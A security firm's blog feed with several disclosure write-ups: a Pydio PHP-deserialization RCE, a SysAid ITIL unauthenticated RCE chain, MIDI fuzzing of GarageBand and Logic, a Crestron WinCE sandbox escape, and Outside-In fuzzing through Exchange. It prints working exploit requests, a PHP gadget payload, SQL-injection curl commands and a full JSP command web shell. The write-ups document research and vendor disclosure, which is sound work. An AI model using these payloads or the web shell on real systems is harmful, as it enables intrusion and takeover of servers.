❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayBlog - Atredis Partners

Authenticated RCE in Pydio (Forever-Day) -- CVE-2020-28913

7 December 2020 at 14:00

Pydio (formerly AjaXplorer) is an open source web application for remotely managing and sharing files. Users may upload files to the server and then are enabled to share files with public links in a similar way that Google Drive, Dropbox, or other cloud services work.

By sending a file copy request with a special HTTP variable used in code, but not exposed in the web UI, an attacker can overwrite the .ajxp_meta file. The .ajxp_meta file is a serialized PHP object written to the user’s directory and is deserialized when Pydio needs information about files it stores.

POST /pydio/index.php? HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/pydio/ws-my-files/
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://example.com
Content-Length: 124
Connection: close
Cookie: AjaXplorer=ak7jio5pphe6onko1gcofj05k4

get_action=copy&targetBaseName=../.ajxp_meta&dir=%2F&nodes[]=%2Fpayload&dest=%2F&secure_token=sG9TmYIkNsWTEEx5p5qLCHJcty0MfyQ3

Note the HTTP variable targetBaseName which defines a new name for the file copy. This variable is not checked to prevent overwriting special files. After uploading a file called payload containing our PHP gadget, we copy it over the .ajxp_meta file.

The contents of the payload file you can override the .ajxp_meta with may look similar to this PHP gadget. In tools like phpggc, which store collection of gadgets, there are a few that looked promising. However, in my own testing, none of the gadgets worked and I didn’t dig enough to find out why. Instead, I found a class used to generate Captcha images, which allowed you define a custom SoX binary path (so the captcha can be read for accessibility). This was my first foray into PHP gadgets and the path to finding this class was haphazard at best.

O:26:"GuzzleHttp\Stream\FnStream":1:{s:9:"_fn_close";a:2:{i:0;O:10:"Securimage":7:{s:13:"wordlist_file";s:62:"/usr/share/pydio/core/vendor/dapphp/securimage/words/words.txt";s:12:"captcha_type";i:2;s:13:"audio_use_sox";b:1;s:15:"sox_binary_path";s:56:"/var/lib/pydio/personal/atredis/shell.elf";s:13:"database_file";s:47:"/var/lib/pydio/personal/atredis/fdsa.db";s:12:"use_database";b:1;s:9:"namespace";s:4:"fdsa";}i:1;s:15:"outputAudioFile";}}

The above PHP object gadget will attempt to run a binary file that has been uploaded to the user's directory called shell.elf. We do make an assumption about a path on the server by passing an absolute path to the shell binary we uploaded. During testing, the location in the gadget was the default location with no special Pydio configurations.

This vulnerability affects the last release of Pydio Core (8.2.5) and likely many versions prior. Git blame places the code originally being committed in late 2016.

Pydio Core is considered End-of-Life by the Pydio developers and, as such, will receive no security patches going forward. Pydio Enterprise users should contact Pydio directly to mitigate the issue. The Pydio developers encourage users to upgrade to Pydio Cells, which is a complete rewrite of Pydio in Go and is not vulnerable.

Timeline

* 2020-09-03: Atredis Partners sent an initial notification to vendor, including a draft advisory.

* 2020-10-26: Atredis Partners sends an initial notification to CERT/CC (VRF#20-10-SWJYN).

* 2020-11-17: CVE-2020-28913 assigned by MITRE

* 2020-12-07: Atredis Partners publishes this advisory.


This blog post was written by Brandon Perry, technical peer review by Dion Blazakis, and edited for the web by Lacey Kasten at Atredis Partners.

Unauthenticated Remote Code Execution Chain in SysAid ITIL -- CVE-2021-43971, CVE-2021-43972, CVE-2021-43973, CVE-2021-43974

6 January 2022 at 15:00

Atredis Partners found a chain of vulnerabilities in the ITIL product offering by SysAid during personal research. Other competitors to this SysAid product are ManageEngine, Remedy, or other ticketing and workflow systems. The full chain of issues allows an unauthenticated attacker to gain full administrative rights over the ITIL installation and to execute arbitrary code for a local shell.

Atredis only tested the on-premises version of SysAid ITIL. If you are running an on-premises SysAid ITIL system, updating to the latest version will resolve the issues described below. At the time of this writing, the latest version for on-premises customers is 21.2.35.

You can find details from SysAid here: https://www.sysaid.com/product/on-premises/latest-release

Unauthenticated User Registration

First, the /enduserreg endpoint does not respect the server-side setting for allowing anonymous users to register. This requires the instance be set up with outgoing email, but once registered, the email used to register will be sent a new password for the user.

id=`curl http://192.168.1.113:8080/Login.jsp | grep -Eho 'accountid=(.*?)"' | cut -d '"' -f1 | cut -d '=' -f2`

curl -X POST --data "accountID="$id"&X_TOKEN_"$id"=%24tokenValue&thanksForm=thankyou.htm&X_TOKEN_"$id"_trial=%24tokenValue&[email protected]&firstName=Unauthed&lastName=User&sms=&phone=&mobile=&Save=" http://192.168.1.113:8080/enduserreg

Check your email, then let’s escalate our new user to admin.

SQL Injection

Once authenticated, the authenticated user can escalate their privileges with a stacked UPDATE query. The issue is in the getMobileList method in SysAidUser.java

String str1 = " ";
String str2 = "order by lower(calculated_user_name)";
if (paramString2 != null && paramString2.length() > 0) {
    paramString2 = paramString2.toLowerCase();
    str1 = " and lower(calculated_user_name) like '%" + paramString2 + "%' ";
} 

Above you can see paramString2 is used unsafely in the SQL query. This can used to build a stacked query which updates our user’s row in the database.

curl -H "Cookie: JSESSIONID=$sess" http://192.168.1.113:8080/mobile/SelectUsers.jsp?filterText=1';UPDATE sysaid_user SET administrator=CHAR(89),main_user=CHAR(89) WHERE user_name='[email protected]'--

In the above unencoded HTTP parameter, a stacked query was used to update a column in the user table which will be read during authentication, giving us admin on the SysAid instance.

Arbitrary File Upload

After escalating the privilege, it is possible to relogin as an admin user and upload a JSP shell. However, the shell is not within reach just yet. Next, you can upload an arbitrary file to the server with the UploadPsIcon.jsp endpoint, but this does not immediately make the uploaded file available on the web server. It will return an absolute path on the server though, which we can use at the next step. Note the required Referer header.

path=`curl -H "Referer: http://192.168.1.113:8080/UploadPsIcon.jsp?parent=UserSelfServiceSettings.jsp?uploadPsFile=true" -H "Cookie: JSESSIONID=$sess" -F "[email protected]" -F "X_TOKEN_$id=$token" "http://192.168.1.113:8080/UploadPsIcon.jsp?uploadPSFile=false&parent=UserSelfServiceSettings.jsp?uploadPsFile=true" 2>&1 | grep tempFile.value | cut -d '"' -f2`

echo $path

The file cmd.jsp is a simple JSP shell.

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>

Arbitrary File Copy

Once uploaded, it is possible to copy a file from an arbitrary absolute path on the server to the directory meant to server images or icons. An absolute path exists from the previous step because it was returned in the response. Using the UserSelfServiceSettings.jsp endpoint, it is possible to pass on a path to copy a file from anywhere on the server itself into the web application to be available via an HTTP request. Note the required Referer header.

curl -X POST  -H "Referer: http://192.168.1.113:8080/UserSelfServiceSettings.jsp" -H "Cookie: JSESSIONID=$sess" --data "tabID=22&resetPasswordMethod=user&numberOfInvalidAttempts=5&blockUserMinutes=30&dummycaptcha=on&captcha=Y&enableGuest=N&userEmailAsIdentifier=N&PsImageUrl=&sendRandomCodeBySms=N&numberOfSecurityQuestions=2&answerMinimumLength=3&Apply=&OK=&Cancel=&Addtokb=&subAction=&reopenNote=&pageID=1&subPageID=1&replacePage=Y&changes=0&X_TOKEN_$id=$token&showAddFailMsgPopup=&paneMessage=&paneType=&paneBtnArrayButtons=&panePreSubmitFunc=&paneSubmitParentForm=&paneCancelFunc=hideOptionPane&tempFile=$path&fileName=cmd.jsp&psImageChange=true&id=" http://192.168.1.113:8080/UserSelfServiceSettings.jsp?uploadPsFile=true

Finally, A Shell

Once we have the file copied, it’s now possible to request a shell. Be sure to not use cookies. The configuration of the web server by default treats requests by authenticated users differently, and referencing the shell can only happen with an unauthenticated HTTP request.

curl http://192.168.1.113:8080/icons/ps/cmd.jsp?cmd=whoami

CVEs

/mobile/SelectUsers.jsp SQLi: CVE-2021-43971
/UserSelfServiceSettings.jsp unrestricted file copy: CVE-2021-43972
/UploadPsIcon.jsp unrestricted file upload:  CVE-2021-43973
/enduserreg anonymous user registration: CVE-2021-43974

Timeline

2021-09-21: SysAid notified. Original Proof-of-Concept (PoC) and emails blocked unbeknownst to both parties.

2021-10-05: Confirmed receipt of the original scripts to reproduce issues.

2021-11-17: CVE IDs allocated and communicated

2021-12-22: SysAid confirms issues resolved

2022-01-05: Details released

Veni, MIDI, Vici β€” Conquering CVE-2022-22657 and CVE-2022-22664

29 March 2022 at 14:00

Recently, Apple pushed two security fixes for issues in the way GarageBand and Logic Pro X parsed MIDI (musical instrument digital interface) data. GarageBand is free and is available in the default OS X image. Logic Pro X can be purchased in the App Store:

MIDI

Available for: macOS Big Sur 11.5 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: A memory initialization issue was addressed with improved memory handling.

CVE-2022-22657: Brandon Perry of Atredis Partners

MIDI

Available for: macOS Big Sur 11.5 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-22664: Brandon Perry of Atredis Partners

THE BACKGROUND

I do a lot with music and audio/visual-related work outside of my work at Atredis, but this is the first time my hobby in recording and music directly influenced my bug hunting.

While looking into MIDI support on Linux, I noticed the application Timidity was often used to play MIDI files. Unfortunately, Timidity has been unsupported for a very long time and no official source code repository seemed to exist. However, while playing with it, I got the idea to fuzz Timidity, but not because I wanted to look for any bugs in Timidity itself.

Setting up Timidity to fuzz was simple with AFL (American Fuzzy Lop). Firstly, compile with instrumentation, and you are good to go.

Fuzzing Timidity with AFL

After a few days, I wasn’t finding any more new paths. In the end, I had 100,000 weird MIDI files.

GARAGEBAND AND LOGIC

GarageBand comes installed by default on the latest Macs and is primarily how you play MIDIs on OS X. There are also iPad apps for both GarageBand and Logic Pro X. On OS X, by double-clicking on a MIDI, it will open in GarageBand by default. To me, this implied that I could pass a MIDI to the GarageBand binary as an argument on the command-line.

cd /Applications/GarageBand.app/Content/MacOS/
./GarageBand ~/test.midi

Sure enough, this opened GarageBand and the MIDI. To start running GarageBand against all of my MIDIs, I hacked up this quick bash script.

for i in `ls /Users/bperry/midis/` 
do 
    ./GarageBand /Users/bperry/midis/$i& 
    sleep 15 
    killall -9 GarageBand 
done

Luckily, GarageBand supports logging it’s crash reports with the OS X crash handler, so you get nice crash reports like this.

Time Awake Since Boot: 550000 seconds

System Integrity Protection: enabled

Crashed Thread:        0

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [86400]

VM Regions Near 0:
--> 
    __TEXT                      1062db000-1082af000    [ 31.8M] r-x/r-x SM=COW  /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X

Application Specific Information:
Squire | 9822ba165c8200ad3eea20c1d3f8a51ff3c7a5c38397f17d396e73f464c81ef7 | 285921cb956a827f4eba8133900ad6876a990855 | 2021-11-05_15:18:01
 

Thread 0 Crashed:
0   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000106e98f6d 0x1062db000 + 12312429
1   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000106e9a988 0x1062db000 + 12319112
2   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x00000001076757bc 0x1062db000 + 20555708
3   com.apple.AppKit              	0x00007fff23307f18 -[NSDocumentController(NSDeprecated) openDocumentWithContentsOfURL:display:error:] + 808
4   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000107b9022c 0x1062db000 + 25907756
5   com.apple.Foundation          	0x00007fff212e449f __NSBLOCKOPERATION_IS_CALLING_OUT_TO_A_BLOCK__ + 7
6   com.apple.Foundation          	0x00007fff212e4397 -[NSBlockOperation main] + 98
7   com.apple.Foundation          	0x00007fff212e432a __NSOPERATION_IS_INVOKING_MAIN__ + 17

THE TAKEAWAY

In the end, I gave Apple 38 crashes. They determined 2 were security-relevant. These issues affected Logic Pro X and GarageBand on OSX and iOS and were fixed in version 10.4.6 of GarageBand and 10.7.3 in Logic Pro X. All of the files I provided Apple are available in the following Github repository.

https://github.com/brandonprry/apple_midi

When approaching opaque targets, it may be better to fuzz a faster and easier alternative and use the generated corpus against the more difficult target. It’s not a perfect technique, but can still be fruitful.

TIMELINE

  • Dec 2 2021 - Reported issues to Apple

  • Dec 3 2021 - Response from support confirming receipt

  • Jan 4 2022 - Atredis requests update

  • Jan 10 2022 - Atredis requests update

  • Jan 17 2022 - Apple responds with update

  • Feb 7 2022 - Atredis requests update

  • Feb 14 2022 - Atredis requests update

  • Feb 17 2022 - Apple responds with update. Parties agree to hold details until patch.

  • Mar 8 2022 - Apple requests credit details

  • Mar 8 2022 - Atredis confirms credit details

  • Mar 14 2022 - Details released and patches available.

Researching Crestron WinCE Devices

2 July 2022 at 13:33

The setup

In the past, I’ve come across Crestron devices on corporate networks. They are enterprise appliances for handling and automating audio/visual data and peripherals. Think conferencing or display automation. With default or weak credentials, the appliances can be accessed over several ports including FTP, Telnet, SSH, and others.

I acquired several current-gen Crestron 3-series devices through an auction at my local university. They were upgrading their gear and getting rid of what they had that was out of warranty, even if it was still perfectly good.

I soon realized, though, that they are little more than sophisticated input switchers if you also don’t have Crestron Toolbox. This limitation in the enterprise-grade Crestron devices is a common problem. I started searching on how to actually use the devices after getting them home and quickly found Reddit and other posts opining the same issue. The devices were expensive manual switchers without Crestron Toolbox.

Crestron Toolbox and its ancillary Simpl framework and IDE enable Crestron administrators to develop applications to automate not only Crestron devices, but audio/visual devices by other manufacturers as well. Crestron Toolbox and Simpl installers are very hard to get a hold of if you are not a Crestron vendor, and it is held closely with an NDA.

The Simpl IDE created by Crestron allows an administrator to develop applications visually without code for particular Crestron devices. If you are feeling brave though, you can also begin writing modules of re-usable functions in a language called Simpl+. Simpl+ gets converted into C# and compiled into a sandbox. This sandbox is effectively a set of methods exposed to Simpl+ that Crestron controls fully for file system or other access.

Simpl applications are signed using a special Crestron certificate. This prevents an arbitrary application from being loaded onto the devices. The code must have been compiled by the Simpl IDE in order to be run on the devices.

The research

By default, command prompt access to Crestron devices is sandboxed. Even as an administrator, you do not have full file system access. My 3-Series devices were running Windows CE 7.0 with .NET Compact Framework 3.5. With authentication disabled, the default credentials are crestron:<blank>. I’m not much of a hardware person so I made no attempt to open up the devices. I wanted to do purely remote research. I started with nmap.

After logging into Telnet and SSH and looking around the exposed file system (while also navigating Crestron PDFs), I decided to focus on the Simpl applications. Simpl applications have a lpz extension and are just zip files.

Attempting to replace specific executables within the lpz file didn’t work, but I’m not sure this is still a dead end. I attempted this testing before I fully understood the CPU architecture and executable requirements of Windows CE. It may still be possible to make a quick swap and achieve a similar sandbox breakout. In the end, the code you compile from Simpl ends up as a signed .NET DLL in the lpz application, loaded by a signed harness application.

The sandbox is enforced at compile-time, not while running on the device. This may seem counter-intuitive, but it effectively means the functions exposed to Simpl+ at compile-time are controlled by Crestron, not the .NET Framework. Listing directories in Simpl will show you the directories Crestron wants to show you, not what is actually there. In order to sign my own C# code, I started investigating how Simpl went from Simpl+ code -> C# -> compiled DLL -> signed DLL.

During compilation, Crestron Toolbox creates a working directory which it outputs the new C# before compiling and signing. I used ProcMon to monitor what processes were spawned during the compilation process and csc.exe is called directly on the C# code in the working directory. I ended up writing a small wrapper for csc.exe that would copy my C# code (altered from a copy of the real C# generated) over the generated C# before passing the args along to the real csc.exe to compile the tampered-with code. It worked and I had a signed lpz file with my own C# code that would run outside of the intended application sandbox.

There may be more issues with signing in general, but I stopped looking once I could sign my own code outside of the sandbox.

The results

There is no real usable command shell on these devices outside of the sandbox shell you log in to. I had arbitrary code execution, but writing new code and deploying a new application is more than tedious when you want to change something slightly. Unfortunately, there don’t seem to be any cookie-cutter WinCE Metasploit payloads.

I ended up writing a small connect-back shell with basic functionality. This shell is uploaded as a signed application in Github, along with the source code. You can load this application without Crestron Toolbox, you only need remote authenticated access. You can see the difference immediately in the exposed file system to the connect-back shell vs accessing over SSH or telnet.

The potential

Many Crestron devices of this nature have two interfaces, one for LAN and one for Control. If configured with both a LAN and Control port, they could make excellent pivot points. These are also Windows machines, but aren’t running any host-based IDS or AV. They would be an great location for persistence.

Hacking Exchange from the Outside In

22 April 2024 at 17:00

Microsoft Exchange 2019 prior to March 2024 used the Oracle Outside-In libraries to parse specific file types when attached to emails if an attachment inspection mail flow was configured. By default, Exchange has no mail flow rules configured. Several file types were identified to be processed by the server using the Outside-In SDK. Specifically, the following libraries loaded after using the sample Outside-In files as test attachments.

  • vspdf.dll

  • vshtml.dll

  • vseshr.dll

  • vsw97.dll

  • vspp12.dll

  • vsviso.dll

  • vspp97.dll

  • vsw12.dll

  • vsxl5.dll

These libraries are built to parse files and return any plaintext data they can. They live in a folder labelled TE_vXXX in the Exchange installation directory. However, they are repackaged Oracle Outside-In Content Access libraries. You can readily download the Content Access SDK and demo applications from Oracle directly. Other applications integrate this SDK as well, such as Oracle SQL Server and Oracle WebCenter Content Server.

Previous research into Outside-In by Joshua Drake and Will Dorman a decade ago showed that more digging into the framework could be fruitful. Atredis has identified several files that caused the Exchange file scanner to crash when using the OutsideInModule.dll library to parse attachments.

Exchange itself is configured to prefer Outside-In for some filetypes.

-<TypeList Name="PreferOutsideIn" ListType="Allowed">

    <Type Name="Pdf"/>

    <Type Name="Html"/>

</TypeList>

-<TypeList Name="OutsideInOnly" ListType="Allowed">

    <Type Name="AutoCad"/>

    <Type Name="Jpeg"/>

    <Type Name="Tiff"/>

</TypeList>

However, we were unable to reproduce jpg and tiff vulnerabilities we found in the Outside-In libraries through Exchange. We also noticed that jpg and tiff were removed from the file types supported by file inspection by Exchange mail flows sometime after 2021. These configurations relative to tiff and jpg could be old and useless.

In order to fuzz the libraries, we used two different methods. One method was statically instrumenting the Linux version of the Outside-In Content Access libraries, then fuzzing with AFL. The other option chosen was to dynamically instrument and fuzz with Jackalope on Windows.

AFL

In order to fuzz with AFL, we used afl-dyninst. We used an older version of AFL and dyninst in these examples because it's what we've used in the past and knew it worked. However, a coworker has shown that AFL++ has pretty good dyninst support too. In the future, we'll certainly give it a try. To get things running quickly, we will instrument a simple binary shipped with Outside-In as a demo application called memoryio. It simply accepts a file as an argument and spits out any plaintext contents.

DYNINSTAPI_RT_LIB=libdyninstAPI_RT.so afl-dyninst -m 8 -i ../sdk/demo/memoryio -r libvs_viso.so -r libvs_w12.so -r libvs_eshr.so -r libvs_pp12.so -r libvs_pp97.so -o test

Note the -m 8 in the above command. It was found that instrumenting every basic block caused serious instability. Instead, we are instrumenting any basic blocks 8 bytes or larger. During testing, we also noticed that the library will actively write to ~/.oit while running for no useful reason. Creating the directory, but making it read-only, effectively bypassed this. Otherwise it caused stuttering and hangs.

After copying the instrumented libraries into the correct spots, we can run afl-fuzz. We use AFL_SKIP_BIN_CHECK because we used afl-dyninst to instrument an already-compiled utility called memoryio, rather than compiling our own harness.

AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -M mainA:1/3 -- ./test @@ 
AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -M mainB:2/3 -- ./test @@
AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -M mainC:3/3 -- ./test @@
AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -S subX -- ./test @@

We started 3 main fuzzers in parallel, each running on different deterministic phases. In general, running multiple main fuzzers is a bad idea since they will all perform the same work. However, in the configuration we set up, each fuzzer focuses on different deterministic stages. We then set up 10 sub fuzzers. These fuzzers perform a different kind of strategy than the deterministic main fuzzers. They make random changes to the inputs and just see what happens.

The machine we are fuzzing the Linux libraries on has 32 cores, so we have a bit more leg room. After those fuzzers were set up, a slightly different AFL configuration was used for spice.

AFL_SHUFFLE_QUEUE=1 AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -S subXX -- ./test @@

The AFL_SHUFFLE_QUEUE option was added onto 10 more sub fuzzers. This option takes the queue and randomizes the order of the inputs. In general, you shouldn't need to do this. However, we have so many fuzzers running that it's not going to hurt us in this particular instance and could easily help us.

After that, we get about 100 executions per second per fuzzer across 23 fuzzers. It's not amazing, but it'll do. If we wanted to speed things up in the future, we could implement our own harness with AFL persistent mode.

>>> sub4 (0 days, 20 hrs) <<<
cycle 61, lifetime speed 98 execs/sec, path 825/2389 (34%)

Jackalope

Preparing an environment to fuzz with Jackalope was straight forward. This was done by first cloning the most up to date Jackalope repository and following the build instructions. The fuzzing corpus used for most file formats was acquired from strongcourage's fuzzing-corpus repository. Additional corpus for the `xl5` format was also acquired from the internet with google dorks (Ex:?index.of? xls 1999). The batch file used to execute the fuzzer can be seen below:

C:\Users\ali.ahmad\source\repos\Jackalope\build\Release\fuzzer.exe^
    -in IN\pdf ^
    -out Out\pdf^
    -t 5000^
    -nthreads 9^
    -delivery shmem^
    -nargs 2^
    -instrument_module vspdf.dll^
    -target_module memoryio_sharedmem.exe^
    -target_offset 0x2900^
    -dump_coverage^
    -persist^
    -loop^
    -max_sample_size 0x100000^
    -iterations 3000^
    -cmp_coverage^
    instrument_modules_on_load^
    -dict "C:\Users\ali.ahmad\source\repos\AFLplusplus\dictionaries\pdf.dict"^
    -- "D:\test\TE_v.8.5.3.0\memoryio_sharedmem.exe" @@

Shared memory sample delivery was also used improve fuzzer performance as can be seen by the -delivery shmem flag option. The memoryio sample program provided by Oracle as part of its Outside In library was modified to accept shared memory as input. In addition to shared memory delivery, persistent fuzzing was utilized as can be seen by the -persist flag to fuzz in persistent mode for an added performance boost.

Results

We reported to Microsoft three crashes through our vector on Exchange. However, since the issues were in Oracle’s software, Oracle issued the vulnerability ID CVE-2024-21118.

Exchange will not try to use Outside-In on every file type the library itself supports. These crashes were reproduced by sending an email to the Exchange server with the malicious file attached. As stated previously, a mail flow inspection rule must be configured.

Microsoft subsequently disabled the Outside-In libraries in Exchange in the March 2024 Patch Tuesday updates. You can read more about the patches and advisory here. Atredis would specifically like to thank Lisa Olson and the whole Microsoft Security team for their heroic efforts in working through the disclosure.

Be sure to catch Ali talking more in-depth about our bug hunting and debugging process at RVAsec this summer.

vshtml.dll

This crash was a use-after-free.


 # Child-SP          RetAddr               Call Site
00 000000ea`70d5c610 00007ffc`74141366     vshtml!HTMLWToF+0x11773
01 000000ea`70d5c790 00007ffc`74125204     vshtml!HTMLWToF+0x11726
02 000000ea`70d5c7c0 00007ffc`74130bb0     vshtml+0x5204
03 000000ea`70d5cbe0 00007ffc`74139070     vshtml!HTMLWToF+0xf70
04 000000ea`70d5ce30 00007ffc`74148eb5     vshtml!HTMLWToF+0x9430
05 000000ea`70d5cfe0 00007ffc`399db1c2     vshtml!VwStreamRead+0x305
06 000000ea`70d5d180 00007ffc`399d34fb     sccch!CHUnpackageRemoteData+0x7ab2
07 000000ea`70d5d240 00007ffc`399d3048     sccch!CHReadAhead+0xfb
08 000000ea`70d5d2a0 00007ffc`4b634e20     sccch!CHNextItemId+0x158
09 000000ea`70d5d2f0 00007ffc`3cf589dc     sccca!CAReadNext+0x1fe0
0a 000000ea`70d5d730 00007ffc`3cf5a111     OutsideInModule!CreateTextExtractorModule+0x775c
0b 000000ea`70d5e7d0 00007ffc`3d1a9b4a     OutsideInModule!CreateTextExtractorModule+0x8e91
0c 000000ea`70d5e810 00007ffc`3d1a9630     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x7842a
0d 000000ea`70d5e8d0 00007ffc`3d1ab361     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x77f10
0e 000000ea`70d5e990 00007ffc`3d159d47     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x79c41
0f 000000ea`70d5e9d0 00007ffc`3d15e194     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x28627
10 000000ea`70d5ec20 00007ffc`3d15f2db     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2ca74
11 000000ea`70d5ed60 00007ffc`3d15efc2     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2dbbb
12 000000ea`70d5eec0 00007ffc`3d15e775     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d8a2
13 000000ea`70d5f000 00007ffc`3d13bcbf     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d055
14 000000ea`70d5f1c0 00007ffc`3d13c8c9     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xa59f
15 000000ea`70d5f200 00007ffc`3d133757     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xb1a9
16 000000ea`70d5f3b0 00007ffc`3d133455     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2037
17 000000ea`70d5f4f0 00007ff6`d60a5379     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x1d35
18 000000ea`70d5f5b0 00007ff6`d6092d7f     scanningprocess+0x15379
19 000000ea`70d5f920 00007ffc`936c91ca     scanningprocess+0x2d7f
1a 000000ea`70d5f950 00007ffc`9366bb26     ntdll!TppWorkpExecuteCallback+0x13a
1b 000000ea`70d5f9a0 00007ffc`92c84de0     ntdll!TppWorkerThread+0x686
1c 000000ea`70d5fc90 00007ffc`936dec4b     KERNEL32!BaseThreadInitThunk+0x10
1d 000000ea`70d5fcc0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

vsxl5.dll

This crash was an invalid write.


 # Child-SP          RetAddr               Call Site
00 0000003a`a65bcb00 00007ff9`e845621e     vsxl5!PutPrintArea+0x2ab8
01 0000003a`a65bcb60 00007ff9`e8455798     vsxl5!PutPrintArea+0x20ce
02 0000003a`a65bcc00 00007ff9`e844bd4e     vsxl5!PutPrintArea+0x1648
03 0000003a`a65bcd70 00007ff9`e845c501     vsxl5+0x1bd4e
04 0000003a`a65bced0 00007ff9`c214af8b     vsxl5!VwStreamSection+0x7e1
05 0000003a`a65bcfa0 00007ff9`c21434fb     sccch!CHUnpackageRemoteData+0x787b
06 0000003a`a65bd060 00007ff9`c21420de     sccch!CHReadAhead+0xfb
07 0000003a`a65bd0c0 00007ff9`d25b2cc4     sccch!CHGetItemId+0x5e
08 0000003a`a65bd100 00007ff9`e9148a07     sccca!CAReadFirst+0xd4
09 0000003a`a65bd200 00007ff9`e914a111     OutsideInModule!CreateTextExtractorModule+0x7787
0a 0000003a`a65be2a0 00007ff9`ba939b4a     OutsideInModule!CreateTextExtractorModule+0x8e91
0b 0000003a`a65be2e0 00007ff9`ba939630     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x7842a
0c 0000003a`a65be3a0 00007ff9`ba93b361     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x77f10
0d 0000003a`a65be460 00007ff9`ba8e9d47     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x79c41
0e 0000003a`a65be4a0 00007ff9`ba8ee194     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x28627
0f 0000003a`a65be6f0 00007ff9`ba8ef2db     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2ca74
10 0000003a`a65be830 00007ff9`ba8eefc2     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2dbbb
11 0000003a`a65be990 00007ff9`ba8ee775     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d8a2
12 0000003a`a65bead0 00007ff9`ba8cbcbf     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d055
13 0000003a`a65bec90 00007ff9`ba8cc8c9     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xa59f
14 0000003a`a65becd0 00007ff9`ba8c3757     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xb1a9
15 0000003a`a65bee80 00007ff9`ba8c3455     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2037
16 0000003a`a65befc0 00007ff7`12465379     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x1d35
17 0000003a`a65bf080 00007ff7`12452d7f     scanningprocess+0x15379
18 0000003a`a65bf3f0 00007ffa`0fc091ca     scanningprocess+0x2d7f
19 0000003a`a65bf420 00007ffa`0fbabb26     ntdll!TppWorkpExecuteCallback+0x13a
1a 0000003a`a65bf470 00007ffa`0f5c4de0     ntdll!TppWorkerThread+0x686
1b 0000003a`a65bf760 00007ffa`0fc1ec4b     KERNEL32!BaseThreadInitThunk+0x10
1c 0000003a`a65bf790 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

vsPDF.dll

This crash was an invalid read.

 # Child-SP          RetAddr               Call Site
00 000000b2`54e7c070 00007ffc`21288e30     vspdf+0x9a1a
01 000000b2`54e7c160 00007ffc`2127b467     vspdf+0x18e30
02 000000b2`54e7c2b0 00007ffc`2127e596     vspdf+0xb467
03 000000b2`54e7c2e0 00007ffc`21290c3c     vspdf+0xe596
04 000000b2`54e7c8a0 00007ffb`e4f9b1c2     vspdf!PDFSpecialTell+0x5dc
05 000000b2`54e7cdb0 00007ffb`e4f934fb     sccch!CHUnpackageRemoteData+0x7ab2
06 000000b2`54e7ce70 00007ffb`e4f93048     sccch!CHReadAhead+0xfb
07 000000b2`54e7ced0 00007ffb`f7964e20     sccch!CHNextItemId+0x158
